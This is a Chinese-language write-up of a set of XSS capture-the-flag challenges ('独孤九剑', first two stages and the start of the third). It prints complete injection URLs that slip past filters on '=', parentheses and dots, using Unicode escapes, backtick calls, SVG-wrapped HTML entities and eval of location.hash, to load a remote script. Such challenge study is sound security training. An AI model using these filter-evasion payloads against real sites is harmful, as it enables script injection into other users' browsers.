题目地址
题目作者给出的解题思路
http://xcao.vip/test/xss/XSS修炼之独孤九剑.pdf
独孤九剑-第一式
题目
过滤了等号
=、小括号(),要求加载任意 JS 代码。成功加载 http://xcao.vip/xss/alert.js 表示完成挑战
方法一
首先应该思考,在 JavaScript 中,加载 JS 代码,有哪些方式?
首先想到了
<script src="http://xcao.vip/xss/alert.js"></script>
这是最基本的加载方式。
此时我们需要在页面中加载这个 JS 代码,应该想到使用 document.write(),将上面的代码写入 HTML 页面,从而执行 JS 代码。
那么如果要使用这个方法,还得在外面再使用一个 <script> 标签。即:
<script>document.write(<script src="http://xcao.vip/xss/alert.js"></script>)</script>
然后再回到题目中来。
查看 HTML 代码:
<html>
<head>
<meta charset="utf-8">
<title>独孤九剑-第一式 Design by 香草</title>
</head>
<body>
<h2>过滤了 =(),少侠骨骼惊奇,必是练武奇才</h2>
<h2>要求加载任意JS代码,成功加载http://xcao.vip/xss/alert.js 表示完成挑战</h2>
<input type="text" value="s">
</body>
</html>
题目只有一个输入框,并且无法通过输入框提交内容。而同时我们注意到地址栏里有通过 GET 方式提交的参数:
尝试修改参数,成功修改了输入框中的内容:
那么 XSS 攻击的点就在这里。
根据页面的源代码,自己构造的 XSS 攻击代码,首先应当将原本的 <input> 标签闭合,即在 123123 后面跟上 ">:
从源代码中可以看到,自己输入的 "> 成功将标签闭合,原本存在的 "> 被孤立了出来:
此时我们就可以在后面跟上我们自己的 JS 代码进行 XSS 攻击了:
"><script>document.write(<script src="http://xcao.vip/xss/alert.js"></script>)</script>
但是别忘了题目的过滤条件,在这里等号 = 和小括号 () 不起作用。
接下来应当思考怎么绕过。
通过查找资料我们得知,可以用反引号代替小括号实现绕过。要绕过等号 = 的过滤,可以将 document.write() 中的内容进行 Unicode 编码,即:
"><script>document.write`\u003c\u0073\u0063\u0072\u0069\u0070\u0074\u0020\u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0078\u0063\u0061\u006f\u002e\u0076\u0069\u0070\u002f\u0078\u0073\u0073\u002f\u0061\u006c\u0065\u0072\u0074\u002e\u006a\u0073\u0022\u003e\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e`</script>
提交内容,成功绕过:
完整 Payload:
http://xcao.vip/test/xss1.php?data=123123"><script>document.write`\u003c\u0073\u0063\u0072\u0069\u0070\u0074\u0020\u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0078\u0063\u0061\u006f\u002e\u0076\u0069\u0070\u002f\u0078\u0073\u0073\u002f\u0061\u006c\u0065\u0072\u0074\u002e\u006a\u0073\u0022\u003e\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e`</script>
方法二
题目作者给出的一种方法:
http://xcao.vip/test/xss1.php?data=%22%3E%3Csvg%3E%3Cscript%3E%26%23x65%3B%26%23x76%3B%26%23x61%3B%26%23x6c%3B%26%23x28%3B%26%23x6c%3B%26%23x6f%3B%26%23x63%3B%26%23x61%3B%26%23x74%3B%26%23x69%3B%26%23x6f%3B%26%23x6e%3B%26%23x2e%3B%26%23x68%3B%26%23x61%3B%26%23x73%3B%26%23x68%3B%26%23x2e%3B%26%23x73%3B%26%23x6c%3B%26%23x69%3B%26%23x63%3B%26%23x65%3B%26%23x28%3B%26%23x31%3B%26%23x29%3B%26%23x29%3B%3C/script%3E%3C/svg%3E#with(document)body.appendChild(createElement('script')).src='http://xcao.vip/test/alert.js'
我们来分析这里用了些什么方法。
首先,原作者提到,自己使用了 <svg> 标签,是因为在 <svg> 标签中的 <script> 标签可以使用 HTML 编码,从而避开题目的过滤。
解码后的内容为:
http://xcao.vip/test/xss1.php?data="><svg><script>eval(location.hash.slice(1))</script></svg>#with(document)body.appendChild(createElement('script')).src='http://xcao.vip/test/alert.js'
我们再将 HTML 编码进行解码,可得:
http://xcao.vip/test/xss1.php?data="><svg><script>eval(location.hash.slice(1))</script></svg>#with(document)body.appendChild(createElement('script')).src='http://xcao.vip/test/alert.js'
完整的构造这时才得以清晰展现在我们眼前。
首先是 eval() 函数,eval() 函数计算 JavaScript 字符串,并把它作为脚本代码来执行。
如果参数是一个表达式,eval() 函数将执行表达式。如果参数是 JavaScript 语句,eval() 将执行 JavaScript 语句。
接下来是 location.hash.slice(1),hash 是 location 对象中的一个属性,是一个可读可写的字符串,该字符串是 URL 的锚部分(从 # 号开始的部分)。
而 slice(start, end) 方法可提取字符串的某个部分,并以新的字符串返回被提取的部分。
start 参数字符串中第一个字符位置为 0,第二个字符位置为 1,以此类推。
因此,综上可得,location.hash.slice(1) 的含义就是获取 # 号之后的内容,即:
with(document)body.appendChild(createElement('script')).src='http://xcao.vip/test/alert.js'
这里的 with 用法其实也可以替换成
document.body.appendChild(document.createElement('script')).src='http://xcao.vip/test/alert.js'
接下来进一步分析代码。
appendChild() 方法可向节点的子节点列表的末尾添加新的子节点。也就是说,从 DOM 树的角度,这个方法向 body 节点的子节点列表的最后添加了一个 script 节点,相当于直接添加了一个 <script> 标签。
这样一切都解释得通了。妙哉!
独孤九剑-第二式
题目
在第一式的基础之上,增加了对点
.的过滤
方法一
在这种情况下,document.write 这样的用法肯定就不起作用了,得想想怎么绕过对点 . 的过滤。
通过查找资料我们可以得知,JavaScript 的对象的属性的读取可以通过类似数组的方式来进行,比如对象 document 的 write 方法就可以写成 document['write']。
这样就成功绕过了题目对点 . 的过滤。
基于第一式方法一,我们直接将 document.write 写成 document['write'],其他照旧,则有了:
http://xcao.vip/test/xss1.php?data=123123"><script>document['write']`\u003c\u0073\u0063\u0072\u0069\u0070\u0074\u0020\u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0078\u0063\u0061\u006f\u002e\u0076\u0069\u0070\u002f\u0078\u0073\u0073\u002f\u0061\u006c\u0065\u0072\u0074\u002e\u006a\u0073\u0022\u003e\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e`</script>
成功加载:
方法二
同第一式方法二一样,由于本身构造的 # 锚点并不会作为参数被传入后台,并且经过 URL 解码后的 HTML 编码也不含有被过滤的点 .,因此第一式方法二的构造语句可以原封不动地拿来使用。即:
http://xcao.vip/test/xss2.php?data=%22%3E%3Csvg%3E%3Cscript%3E%26%23x65%3B%26%23x76%3B%26%23x61%3B%26%23x6c%3B%26%23x28%3B%26%23x6c%3B%26%23x6f%3B%26%23x63%3B%26%23x61%3B%26%23x74%3B%26%23x69%3B%26%23x6f%3B%26%23x6e%3B%26%23x2e%3B%26%23x68%3B%26%23x61%3B%26%23x73%3B%26%23x68%3B%26%23x2e%3B%26%23x73%3B%26%23x6c%3B%26%23x69%3B%26%23x63%3B%26%23x65%3B%26%23x28%3B%26%23x31%3B%26%23x29%3B%26%23x29%3B%3C/script%3E%3C/svg%3E#with(document)body.appendChild(createElement('script')).src='http://xcao.vip/test/alert.js'
成功加载:
方法三
题目作者给出的一种方法:
http://xcao.vip/test/xss2.php?data=xxx%22%3E%3Cscript%3EsetTimeout`\u0065\u0076\u0061\u006c\u0028\u006c\u006f\u0063\u0061\u0074\u0069\u006f\u006e\u002e\u0068\u0061\u0073\u0068\u002e\u0073\u006c\u0069\u0063\u0065\u0028\u0031\u0029\u0029`;%3C/script%3E#with(document)body.appendChild(createElement('script')).src='http://xcao.vip/xss/alert.js'
作者称,这样是通过 setTimeout 以及用反引号代替 (), 同时采用 Unicode 编码绕过对 ()和 . 的限制。
在这串代码中,setTimeout() 是属于 window 的方法,该方法用于在指定的毫秒数后调用函数或计算表达式。
这里缺省了时间的参数,相当于不需要等待,直接执行。
中间的 Unicode 编码的内容还是之前的 eval(location.hash.slice(1)),总体上思路和第一式方法二差不多。
独孤九剑-第三式
题目
放开了
=的过滤,新增了&#\的过滤
方法一
新增了 &#\ 的过滤,这明显就是冲着 HTML 编码和 Unicode 编码来的。
恶意不小啊